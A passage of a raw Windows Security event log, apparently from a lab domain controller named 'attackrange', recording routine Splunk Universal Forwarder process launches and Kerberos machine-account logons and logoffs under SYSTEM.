	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255810
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x108c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255813
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255812
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255814
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x540
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255815
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36620C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255818
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36921E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255817
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x36921E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64779

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255816
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36921E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:38:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255819
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255820
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255822
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255821
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf68
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255824
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255823
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255825
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:38:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255828
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36C73A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:38:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255827
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x36C73A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64792

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:38:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255826
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36C73A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:39:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255829
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255830
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x340
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255832
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255831
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
